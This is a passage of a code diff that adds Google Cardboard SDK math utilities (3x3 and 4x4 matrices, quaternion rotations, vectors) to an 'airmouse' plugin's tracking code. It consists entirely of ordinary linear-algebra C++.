result.elem_[row][col] += m0.elem_[row][i] * m1.elem_[i][col];
}
}
return result;
}
bool Matrix3x3::AreEqual(const Matrix3x3& m0, const Matrix3x3& m1)
{
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col) {
if (m0.elem_[row][col] != m1.elem_[row][col])
return false;
}
}
return true;
}
} // namespace cardboard
applications/plugins/airmouse/tracking/util/matrix_3x3.h
+138
View File
@@ -0,0 +1,138 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_UTIL_MATRIX_3X3_H_
#define CARDBOARD_SDK_UTIL_MATRIX_3X3_H_
#include <array>
#include <cstring> // For memcpy().
#include <istream> // NOLINT
#include <ostream> // NOLINT
namespace cardboard {
// The Matrix3x3 class defines a square 3-dimensional matrix. Elements are
// stored in row-major order.
// TODO(b/135461889): Make this class consistent with Matrix4x4.
class Matrix3x3 {
public:
// The default constructor zero-initializes all elements.
Matrix3x3();
// Dimension-specific constructors that are passed individual element values.
Matrix3x3(
double m00,
double m01,
double m02,
double m10,
double m11,
double m12,
double m20,
double m21,
double m22);
// Constructor that reads elements from a linear array of the correct size.
explicit Matrix3x3(const double array[3 * 3]);
// Returns a Matrix3x3 containing all zeroes.
static Matrix3x3 Zero();
// Returns an identity Matrix3x3.
static Matrix3x3 Identity();
// Mutable element accessors.
double& operator()(int row, int col) {
return elem_[row][col];
}
std::array<double, 3>& operator[](int row) {
return elem_[row];
}
// Read-only element accessors.
const double& operator()(int row, int col) const {
return elem_[row][col];
}
const std::array<double, 3>& operator[](int row) const {
return elem_[row];
}
// Return a pointer to the data for interfacing with libraries.
double* Data() {
return &elem_[0][0];
}
const double* Data() const {
return &elem_[0][0];
}
// Self-modifying multiplication operators.
void operator*=(double s) {
MultiplyScalar(s);
}
void operator*=(const Matrix3x3& m) {
*this = Product(*this, m);
}
// Unary operators.
Matrix3x3 operator-() const {
return Negation();
}
// Binary scale operators.
friend Matrix3x3 operator*(const Matrix3x3& m, double s) {
return Scale(m, s);
}
friend Matrix3x3 operator*(double s, const Matrix3x3& m) {
return Scale(m, s);
}
// Binary matrix addition.
friend Matrix3x3 operator+(const Matrix3x3& lhs, const Matrix3x3& rhs) {
return Addition(lhs, rhs);
}
// Binary matrix subtraction.
friend Matrix3x3 operator-(const Matrix3x3& lhs, const Matrix3x3& rhs) {
return Subtraction(lhs, rhs);
}
// Binary multiplication operator.
friend Matrix3x3 operator*(const Matrix3x3& m0, const Matrix3x3& m1) {
return Product(m0, m1);
}
// Exact equality and inequality comparisons.
friend bool operator==(const Matrix3x3& m0, const Matrix3x3& m1) {
return AreEqual(m0, m1);
}
friend bool operator!=(const Matrix3x3& m0, const Matrix3x3& m1) {
return !AreEqual(m0, m1);
}
private:
// These private functions implement most of the operators.
void MultiplyScalar(double s);
Matrix3x3 Negation() const;
static Matrix3x3 Addition(const Matrix3x3& lhs, const Matrix3x3& rhs);
static Matrix3x3 Subtraction(const Matrix3x3& lhs, const Matrix3x3& rhs);
static Matrix3x3 Scale(const Matrix3x3& m, double s);
static Matrix3x3 Product(const Matrix3x3& m0, const Matrix3x3& m1);
static bool AreEqual(const Matrix3x3& m0, const Matrix3x3& m1);
std::array<std::array<double, 3>, 3> elem_;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_UTIL_MATRIX_3X3_H_
applications/plugins/airmouse/tracking/util/matrix_4x4.cc
+87
View File
@@ -0,0 +1,87 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "matrix_4x4.h"
#include <algorithm>
#include <cmath>
#include <cstring>
namespace cardboard {
Matrix4x4 Matrix4x4::Identity()
{
Matrix4x4 ret;
for (int j = 0; j < 4; ++j) {
for (int i = 0; i < 4; ++i) {
ret.m[j][i] = (i == j) ? 1 : 0;
}
}
return ret;
}
Matrix4x4 Matrix4x4::Zeros()
{
Matrix4x4 ret;
for (int j = 0; j < 4; ++j) {
for (int i = 0; i < 4; ++i) {
ret.m[j][i] = 0;
}
}
return ret;
}
Matrix4x4 Matrix4x4::Translation(float x, float y, float z)
{
Matrix4x4 ret = Matrix4x4::Identity();
ret.m[3][0] = x;
ret.m[3][1] = y;
ret.m[3][2] = z;
return ret;
}
Matrix4x4 Matrix4x4::Perspective(const std::array<float, 4>& fov, float zNear, float zFar)
{
Matrix4x4 ret = Matrix4x4::Zeros();
const float xLeft = -std::tan(fov[0] * M_PI / 180.0f) * zNear;
const float xRight = std::tan(fov[1] * M_PI / 180.0f) * zNear;
const float yBottom = -std::tan(fov[2] * M_PI / 180.0f) * zNear;
const float yTop = std::tan(fov[3] * M_PI / 180.0f) * zNear;
const float X = (2 * zNear) / (xRight - xLeft);
const float Y = (2 * zNear) / (yTop - yBottom);
const float A = (xRight + xLeft) / (xRight - xLeft);
const float B = (yTop + yBottom) / (yTop - yBottom);
const float C = (zNear + zFar) / (zNear - zFar);
const float D = (2 * zNear * zFar) / (zNear - zFar);
ret.m[0][0] = X;
ret.m[2][0] = A;
ret.m[1][1] = Y;
ret.m[2][1] = B;
ret.m[2][2] = C;
ret.m[3][2] = D;
ret.m[2][3] = -1;
return ret;
}
void Matrix4x4::ToArray(float* array) const { std::memcpy(array, &m[0][0], 16 * sizeof(float)); }
} // namespace cardboard
applications/plugins/airmouse/tracking/util/matrix_4x4.h
+37
View File
@@ -0,0 +1,37 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_UTIL_MATRIX_4X4_H_
#define CARDBOARD_SDK_UTIL_MATRIX_4X4_H_
#include <array>
namespace cardboard {
class Matrix4x4 {
public:
static Matrix4x4 Identity();
static Matrix4x4 Zeros();
static Matrix4x4 Translation(float x, float y, float z);
static Matrix4x4 Perspective(const std::array<float, 4>& fov, float zNear, float zFar);
void ToArray(float* array) const;
private:
std::array<std::array<float, 4>, 4> m;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_UTIL_MATRIX4X4_H_
applications/plugins/airmouse/tracking/util/matrixutils.cc
+148
View File
@@ -0,0 +1,148 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "matrixutils.h"
#include "vectorutils.h"
namespace cardboard {
namespace {
// Returns true if the cofactor for a given row and column should be negated.
static bool IsCofactorNegated(int row, int col)
{
// Negated iff (row + col) is odd.
return ((row + col) & 1) != 0;
}
static double CofactorElement3(const Matrix3x3& m, int row, int col)
{
static const int index[3][2] = { { 1, 2 }, { 0, 2 }, { 0, 1 } };
const int i0 = index[row][0];
const int i1 = index[row][1];
const int j0 = index[col][0];
const int j1 = index[col][1];
const double cofactor = m(i0, j0) * m(i1, j1) - m(i0, j1) * m(i1, j0);
return IsCofactorNegated(row, col) ? -cofactor : cofactor;
}
// Multiplies a matrix and some type of column vector to
// produce another column vector of the same type.
Vector3 MultiplyMatrixAndVector(const Matrix3x3& m, const Vector3& v)
{
Vector3 result = Vector3::Zero();
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col)
result[row] += m(row, col) * v[col];
}
return result;
}
// Sets the upper 3x3 of a Matrix to represent a 3D rotation.
void RotationMatrix3x3(const Rotation& r, Matrix3x3* matrix)
{
//
// Given a quaternion (a,b,c,d) where d is the scalar part, the 3x3 rotation
// matrix is:
//
// a^2 - b^2 - c^2 + d^2 2ab - 2cd 2ac + 2bd
// 2ab + 2cd -a^2 + b^2 - c^2 + d^2 2bc - 2ad
// 2ac - 2bd 2bc + 2ad -a^2 - b^2 + c^2 + d^2
//
const Vector<4>& quat = r.GetQuaternion();
const double aa = quat[0] * quat[0];
const double bb = quat[1] * quat[1];
const double cc = quat[2] * quat[2];
const double dd = quat[3] * quat[3];
const double ab = quat[0] * quat[1];
const double ac = quat[0] * quat[2];
const double bc = quat[1] * quat[2];
const double ad = quat[0] * quat[3];
const double bd = quat[1] * quat[3];
const double cd = quat[2] * quat[3];
Matrix3x3& m = *matrix;
m[0][0] = aa - bb - cc + dd;
m[0][1] = 2 * ab - 2 * cd;
m[0][2] = 2 * ac + 2 * bd;
m[1][0] = 2 * ab + 2 * cd;
m[1][1] = -aa + bb - cc + dd;
m[1][2] = 2 * bc - 2 * ad;
m[2][0] = 2 * ac - 2 * bd;
m[2][1] = 2 * bc + 2 * ad;
m[2][2] = -aa - bb + cc + dd;
}
} // anonymous namespace
Vector3 operator*(const Matrix3x3& m, const Vector3& v) { return MultiplyMatrixAndVector(m, v); }
Matrix3x3 CofactorMatrix(const Matrix3x3& m)
{
Matrix3x3 result;
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col)
result(row, col) = CofactorElement3(m, row, col);
}
return result;
}
Matrix3x3 AdjugateWithDeterminant(const Matrix3x3& m, double* determinant)
{
const Matrix3x3 cofactor_matrix = CofactorMatrix(m);
if (determinant) {
*determinant = m(0, 0) * cofactor_matrix(0, 0) + m(0, 1) * cofactor_matrix(0, 1)
+ m(0, 2) * cofactor_matrix(0, 2);
}
return Transpose(cofactor_matrix);
}
// Returns the transpose of a matrix.
Matrix3x3 Transpose(const Matrix3x3& m)
{
Matrix3x3 result;
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col)
result(row, col) = m(col, row);
}
return result;
}
Matrix3x3 InverseWithDeterminant(const Matrix3x3& m, double* determinant)
{
// The inverse is the adjugate divided by the determinant.
double det;
Matrix3x3 adjugate = AdjugateWithDeterminant(m, &det);
if (determinant)
*determinant = det;
if (det == 0)
return Matrix3x3::Zero();
else
return adjugate * (1 / det);
}
Matrix3x3 Inverse(const Matrix3x3& m) { return InverseWithDeterminant(m, nullptr); }
Matrix3x3 RotationMatrixNH(const Rotation& r)
{
Matrix3x3 m;
RotationMatrix3x3(r, &m);
return m;
}
} // namespace cardboard
applications/plugins/airmouse/tracking/util/matrixutils.h
+65
View File
@@ -0,0 +1,65 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_UTIL_MATRIXUTILS_H_
#define CARDBOARD_SDK_UTIL_MATRIXUTILS_H_
//
// This file contains operators and free functions that define generic Matrix
// operations.
//
#include "matrix_3x3.h"
#include "rotation.h"
#include "vector.h"
namespace cardboard {
// Returns the transpose of a matrix.
Matrix3x3 Transpose(const Matrix3x3& m);
// Multiplies a Matrix and a column Vector of the same Dimension to produce
// another column Vector.
Vector3 operator*(const Matrix3x3& m, const Vector3& v);
// Returns the determinant of the matrix. This function is defined for all the
// typedef'ed Matrix types.
double Determinant(const Matrix3x3& m);
// Returns the adjugate of the matrix, which is defined as the transpose of the
// cofactor matrix. This function is defined for all the typedef'ed Matrix
// types. The determinant of the matrix is computed as a side effect, so it is
// returned in the determinant parameter if it is not null.
Matrix3x3 AdjugateWithDeterminant(const Matrix3x3& m, double* determinant);
// Returns the inverse of the matrix. This function is defined for all the
// typedef'ed Matrix types. The determinant of the matrix is computed as a
// side effect, so it is returned in the determinant parameter if it is not
// null. If the determinant is 0, the returned matrix has all zeroes.
Matrix3x3 InverseWithDeterminant(const Matrix3x3& m, double* determinant);
// Returns the inverse of the matrix. This function is defined for all the
// typedef'ed Matrix types. If the determinant of the matrix is 0, the returned
// matrix has all zeroes.
Matrix3x3 Inverse(const Matrix3x3& m);
// Returns a 3x3 Matrix representing a 3D rotation. This creates a Matrix that
// does not work with homogeneous coordinates, so the function name ends in
// "NH".
Matrix3x3 RotationMatrixNH(const Rotation& r);
} // namespace cardboard
#endif // CARDBOARD_SDK_UTIL_MATRIXUTILS_H_
applications/plugins/airmouse/tracking/util/rotation.cc
+117
View File
@@ -0,0 +1,117 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "rotation.h"
#include <cmath>
#include <limits>
#include "vectorutils.h"
namespace cardboard {
void Rotation::SetAxisAndAngle(const VectorType& axis, double angle)
{
VectorType unit_axis = axis;
if (!Normalize(&unit_axis)) {
*this = Identity();
} else {
double a = angle / 2;
const double s = sin(a);
const VectorType v(unit_axis * s);
SetQuaternion(QuaternionType(v[0], v[1], v[2], cos(a)));
}
}
Rotation Rotation::FromRotationMatrix(const Matrix3x3& mat)
{
static const double kOne = 1.0;
static const double kFour = 4.0;
const double d0 = mat(0, 0), d1 = mat(1, 1), d2 = mat(2, 2);
const double ww = kOne + d0 + d1 + d2;
const double xx = kOne + d0 - d1 - d2;
const double yy = kOne - d0 + d1 - d2;
const double zz = kOne - d0 - d1 + d2;
const double max = std::max(ww, std::max(xx, std::max(yy, zz)));
if (ww == max) {
const double w4 = sqrt(ww * kFour);
return Rotation::FromQuaternion(QuaternionType((mat(2, 1) - mat(1, 2)) / w4,
(mat(0, 2) - mat(2, 0)) / w4, (mat(1, 0) - mat(0, 1)) / w4, w4 / kFour));
}
if (xx == max) {
const double x4 = sqrt(xx * kFour);
return Rotation::FromQuaternion(QuaternionType(x4 / kFour, (mat(0, 1) + mat(1, 0)) / x4,
(mat(0, 2) + mat(2, 0)) / x4, (mat(2, 1) - mat(1, 2)) / x4));
}
if (yy == max) {
const double y4 = sqrt(yy * kFour);
return Rotation::FromQuaternion(QuaternionType((mat(0, 1) + mat(1, 0)) / y4, y4 / kFour,
(mat(1, 2) + mat(2, 1)) / y4, (mat(0, 2) - mat(2, 0)) / y4));
}
// zz is the largest component.
const double z4 = sqrt(zz * kFour);
return Rotation::FromQuaternion(QuaternionType((mat(0, 2) + mat(2, 0)) / z4,
(mat(1, 2) + mat(2, 1)) / z4, z4 / kFour, (mat(1, 0) - mat(0, 1)) / z4));
}
void Rotation::GetAxisAndAngle(VectorType* axis, double* angle) const
{
VectorType vec(quat_[0], quat_[1], quat_[2]);
if (Normalize(&vec)) {
*angle = 2 * acos(quat_[3]);
*axis = vec;
} else {
*axis = VectorType(1, 0, 0);
*angle = 0.0;
}
}
Rotation Rotation::RotateInto(const VectorType& from, const VectorType& to)
{
static const double kTolerance = std::numeric_limits<double>::epsilon() * 100;
// Directly build the quaternion using the following technique:
// http://lolengine.net/blog/2014/02/24/quaternion-from-two-vectors-final
const double norm_u_norm_v = sqrt(LengthSquared(from) * LengthSquared(to));
double real_part = norm_u_norm_v + Dot(from, to);
VectorType w;
if (real_part < kTolerance * norm_u_norm_v) {
// If |from| and |to| are exactly opposite, rotate 180 degrees around an
// arbitrary orthogonal axis. Axis normalization can happen later, when we
// normalize the quaternion.
real_part = 0.0;
w = (abs(from[0]) > abs(from[2])) ? VectorType(-from[1], from[0], 0)
: VectorType(0, -from[2], from[1]);
} else {
// Otherwise, build the quaternion the standard way.
w = Cross(from, to);
}
// Build and return a normalized quaternion.
// Note that Rotation::FromQuaternion automatically performs normalization.
return Rotation::FromQuaternion(QuaternionType(w[0], w[1], w[2], real_part));
}
Rotation::VectorType Rotation::operator*(const Rotation::VectorType& v) const
{
return ApplyToVector(v);
}
} // namespace cardboard
applications/plugins/airmouse/tracking/util/rotation.h
+156
View File
@@ -0,0 +1,156 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_UTIL_ROTATION_H_
#define CARDBOARD_SDK_UTIL_ROTATION_H_
#include "matrix_3x3.h"
#include "vector.h"
#include "vectorutils.h"
namespace cardboard {
// The Rotation class represents a rotation around a 3-dimensional axis. It
// uses normalized quaternions internally to make the math robust.
class Rotation {
public:
// Convenience typedefs for vector of the correct type.
typedef Vector<3> VectorType;
typedef Vector<4> QuaternionType;
// The default constructor creates an identity Rotation, which has no effect.
Rotation() {
quat_.Set(0, 0, 0, 1);
}
// Returns an identity Rotation, which has no effect.
static Rotation Identity() {
return Rotation();
}
// Sets the Rotation from a quaternion (4D vector), which is first normalized.
void SetQuaternion(const QuaternionType& quaternion) {
quat_ = Normalized(quaternion);
}
// Returns the Rotation as a normalized quaternion (4D vector).
const QuaternionType& GetQuaternion() const {
return quat_;
}
// Sets the Rotation to rotate by the given angle around the given axis,
// following the right-hand rule. The axis does not need to be unit
// length. If it is zero length, this results in an identity Rotation.
void SetAxisAndAngle(const VectorType& axis, double angle);
// Returns the right-hand rule axis and angle corresponding to the
// Rotation. If the Rotation is the identity rotation, this returns the +X
// axis and an angle of 0.
void GetAxisAndAngle(VectorType* axis, double* angle) const;
// Convenience function that constructs and returns a Rotation given an axis
// and angle.
static Rotation FromAxisAndAngle(const VectorType& axis, double angle) {
Rotation r;
r.SetAxisAndAngle(axis, angle);
return r;
}
// Convenience function that constructs and returns a Rotation given a
// quaternion.
static Rotation FromQuaternion(const QuaternionType& quat) {
Rotation r;
r.SetQuaternion(quat);
return r;
}
// Convenience function that constructs and returns a Rotation given a
// rotation matrix R with $R^\top R = I && det(R) = 1$.
static Rotation FromRotationMatrix(const Matrix3x3& mat);
// Convenience function that constructs and returns a Rotation given Euler
// angles that are applied in the order of rotate-Z by roll, rotate-X by
// pitch, rotate-Y by yaw (same as GetRollPitchYaw).
static Rotation FromRollPitchYaw(double roll, double pitch, double yaw) {
VectorType x(1, 0, 0), y(0, 1, 0), z(0, 0, 1);
return FromAxisAndAngle(z, roll) * (FromAxisAndAngle(x, pitch) * FromAxisAndAngle(y, yaw));
}
// Convenience function that constructs and returns a Rotation given Euler
// angles that are applied in the order of rotate-Y by yaw, rotate-X by
// pitch, rotate-Z by roll (same as GetYawPitchRoll).
static Rotation FromYawPitchRoll(double yaw, double pitch, double roll) {
VectorType x(1, 0, 0), y(0, 1, 0), z(0, 0, 1);
return FromAxisAndAngle(y, yaw) * (FromAxisAndAngle(x, pitch) * FromAxisAndAngle(z, roll));
}
// Constructs and returns a Rotation that rotates one vector to another along
// the shortest arc. This returns an identity rotation if either vector has
// zero length.
static Rotation RotateInto(const VectorType& from, const VectorType& to);
// The negation operator returns the inverse rotation.
friend Rotation operator-(const Rotation& r) {
// Because we store normalized quaternions, the inverse is found by
// negating the vector part.
return Rotation(-r.quat_[0], -r.quat_[1], -r.quat_[2], r.quat_[3]);
}
// Appends a rotation to this one.
Rotation& operator*=(const Rotation& r) {
const QuaternionType& qr = r.quat_;
QuaternionType& qt = quat_;
SetQuaternion(QuaternionType(
qr[3] * qt[0] + qr[0] * qt[3] + qr[2] * qt[1] - qr[1] * qt[2],
qr[3] * qt[1] + qr[1] * qt[3] + qr[0] * qt[2] - qr[2] * qt[0],
qr[3] * qt[2] + qr[2] * qt[3] + qr[1] * qt[0] - qr[0] * qt[1],
qr[3] * qt[3] - qr[0] * qt[0] - qr[1] * qt[1] - qr[2] * qt[2]));
return *this;
}
// Binary multiplication operator - returns a composite Rotation.
friend const Rotation operator*(const Rotation& r0, const Rotation& r1) {
Rotation r = r0;
r *= r1;
return r;
}
// Multiply a Rotation and a Vector to get a Vector.
VectorType operator*(const VectorType& v) const;
private:
// Private constructor that builds a Rotation from quaternion components.
Rotation(double q0, double q1, double q2, double q3)
: quat_(q0, q1, q2, q3) {
}
// Applies a Rotation to a Vector to rotate the Vector. Method borrowed from:
// http://blog.molecular-matters.com/2013/05/24/a-faster-quaternion-vector-multiplication/
VectorType ApplyToVector(const VectorType& v) const {
VectorType im(quat_[0], quat_[1], quat_[2]);
VectorType temp = 2.0 * Cross(im, v);
return v + quat_[3] * temp + Cross(im, temp);
}
// The rotation represented as a normalized quaternion. (Unit quaternions are
// required for constructing rotation matrices, so it makes sense to always
// store them that way.) The vector part is in the first 3 elements, and the
// scalar part is in the last element.
QuaternionType quat_;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_UTIL_ROTATION_H_
applications/plugins/airmouse/tracking/util/vector.h
+251
View File
@@ -0,0 +1,251 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_UTIL_VECTOR_H_
#define CARDBOARD_SDK_UTIL_VECTOR_H_
#include <array>
namespace cardboard {
// Geometric N-dimensional Vector class.
template <int Dimension>
class Vector {
public:
// The default constructor zero-initializes all elements.
Vector();
// Dimension-specific constructors that are passed individual element values.
constexpr Vector(double e0, double e1, double e2);
constexpr Vector(double e0, double e1, double e2, double e3);
// Constructor for a Vector of dimension N from a Vector of dimension N-1 and
// a scalar of the correct type, assuming N is at least 2.
// constexpr Vector(const Vector<Dimension - 1>& v, double s);
void Set(double e0, double e1, double e2); // Only when Dimension == 3.
void Set(double e0, double e1, double e2,
double e3); // Only when Dimension == 4.
// Mutable element accessor.
double& operator[](int index) {
return elem_[index];
}
// Element accessor.
double operator[](int index) const {
return elem_[index];
}
// Returns a Vector containing all zeroes.
static Vector Zero();
// Self-modifying operators.
void operator+=(const Vector& v) {
Add(v);
}
void operator-=(const Vector& v) {
Subtract(v);
}
void operator*=(double s) {
Multiply(s);
}
void operator/=(double s) {
Divide(s);
}
// Unary negation operator.
Vector operator-() const {
return Negation();
}
// Binary operators.
friend Vector operator+(const Vector& v0, const Vector& v1) {
return Sum(v0, v1);
}
friend Vector operator-(const Vector& v0, const Vector& v1) {
return Difference(v0, v1);
}
friend Vector operator*(const Vector& v, double s) {
return Scale(v, s);
}
friend Vector operator*(double s, const Vector& v) {
return Scale(v, s);
}
friend Vector operator*(const Vector& v, const Vector& s) {
return Product(v, s);
}
friend Vector operator/(const Vector& v, double s) {
return Divide(v, s);
}
// Self-modifying addition.
void Add(const Vector& v);
// Self-modifying subtraction.
void Subtract(const Vector& v);
// Self-modifying multiplication by a scalar.
void Multiply(double s);
// Self-modifying division by a scalar.
void Divide(double s);
// Unary negation.
Vector Negation() const;
// Binary component-wise multiplication.
static Vector Product(const Vector& v0, const Vector& v1);
// Binary component-wise addition.
static Vector Sum(const Vector& v0, const Vector& v1);
// Binary component-wise subtraction.
static Vector Difference(const Vector& v0, const Vector& v1);
// Binary multiplication by a scalar.
static Vector Scale(const Vector& v, double s);
// Binary division by a scalar.
static Vector Divide(const Vector& v, double s);
private:
std::array<double, Dimension> elem_;
};
//------------------------------------------------------------------------------
template <int Dimension>
Vector<Dimension>::Vector() {
for(int i = 0; i < Dimension; i++) {
elem_[i] = 0;
}
}
template <int Dimension>
constexpr Vector<Dimension>::Vector(double e0, double e1, double e2)
: elem_{e0, e1, e2} {
}
template <int Dimension>
constexpr Vector<Dimension>::Vector(double e0, double e1, double e2, double e3)
: elem_{e0, e1, e2, e3} {
}
/*
template <>
constexpr Vector<4>::Vector(const Vector<3>& v, double s)
: elem_{v[0], v[1], v[2], s} {}
*/
template <int Dimension>
void Vector<Dimension>::Set(double e0, double e1, double e2) {
elem_[0] = e0;
elem_[1] = e1;
elem_[2] = e2;
}
template <int Dimension>
void Vector<Dimension>::Set(double e0, double e1, double e2, double e3) {
elem_[0] = e0;
elem_[1] = e1;
elem_[2] = e2;
elem_[3] = e3;
}
template <int Dimension>
Vector<Dimension> Vector<Dimension>::Zero() {
Vector<Dimension> v;
return v;
}
template <int Dimension>
void Vector<Dimension>::Add(const Vector& v) {
for(int i = 0; i < Dimension; i++) {
elem_[i] += v[i];
}
}
template <int Dimension>
void Vector<Dimension>::Subtract(const Vector& v) {
for(int i = 0; i < Dimension; i++) {
elem_[i] -= v[i];
}
}
template <int Dimension>
void Vector<Dimension>::Multiply(double s) {
for(int i = 0; i < Dimension; i++) {
elem_[i] *= s;
}
}
template <int Dimension>
void Vector<Dimension>::Divide(double s) {
for(int i = 0; i < Dimension; i++) {
elem_[i] /= s;
}
}
template <int Dimension>
Vector<Dimension> Vector<Dimension>::Negation() const {
Vector<Dimension> ret;
for(int i = 0; i < Dimension; i++) {
ret.elem_[i] = -elem_[i];
}
return ret;
}
template <int Dimension>
Vector<Dimension> Vector<Dimension>::Product(const Vector& v0, const Vector& v1) {
Vector<Dimension> ret;
for(int i = 0; i < Dimension; i++) {
ret.elem_[i] = v0[i] * v1[i];
}
return ret;
}
template <int Dimension>
Vector<Dimension> Vector<Dimension>::Sum(const Vector& v0, const Vector& v1) {
Vector<Dimension> ret;
for(int i = 0; i < Dimension; i++) {
ret.elem_[i] = v0[i] + v1[i];
}
return ret;
}
template <int Dimension>
Vector<Dimension> Vector<Dimension>::Difference(const Vector& v0, const Vector& v1) {
Vector<Dimension> ret;
for(int i = 0; i < Dimension; i++) {
ret.elem_[i] = v0[i] - v1[i];
}
return ret;
}
template <int Dimension>
Vector<Dimension> Vector<Dimension>::Scale(const Vector& v, double s) {
Vector<Dimension> ret;
for(int i = 0; i < Dimension; i++) {
ret.elem_[i] = v[i] * s;
}
return ret;
}
template <int Dimension>
Vector<Dimension> Vector<Dimension>::Divide(const Vector& v, double s) {
Vector<Dimension> ret;
for(int i = 0; i < Dimension; i++) {
ret.elem_[i] = v[i] / s;
}
return ret;
}
typedef Vector<3> Vector3;
typedef Vector<4> Vector4;
} // namespace cardboard
#endif // CARDBOARD_SDK_UTIL_VECTOR_H_
applications/plugins/airmouse/tracking/util/vectorutils.cc
+40
View File
@@ -0,0 +1,40 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "vectorutils.h"
namespace cardboard {
// Returns the dot (inner) product of two Vectors.
double Dot(const Vector<3>& v0, const Vector<3>& v1)
{
return v0[0] * v1[0] + v0[1] * v1[1] + v0[2] * v1[2];
}
// Returns the dot (inner) product of two Vectors.
double Dot(const Vector<4>& v0, const Vector<4>& v1)
{
return v0[0] * v1[0] + v0[1] * v1[1] + v0[2] * v1[2] + v0[3] * v1[3];
}
// Returns the 3-dimensional cross product of 2 Vectors. Note that this is
// defined only for 3-dimensional Vectors.
Vector<3> Cross(const Vector<3>& v0, const Vector<3>& v1)
{
return Vector<3>(v0[1] * v1[2] - v0[2] * v1[1], v0[2] * v1[0] - v0[0] * v1[2],
v0[0] * v1[1] - v0[1] * v1[0]);
}
} // namespace cardboard
applications/plugins/airmouse/tracking/util/vectorutils.h
+76
View File
@@ -0,0 +1,76 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_UTIL_VECTORUTILS_H_
#define CARDBOARD_SDK_UTIL_VECTORUTILS_H_
//
// This file contains free functions that operate on Vector instances.
//
#include <cmath>
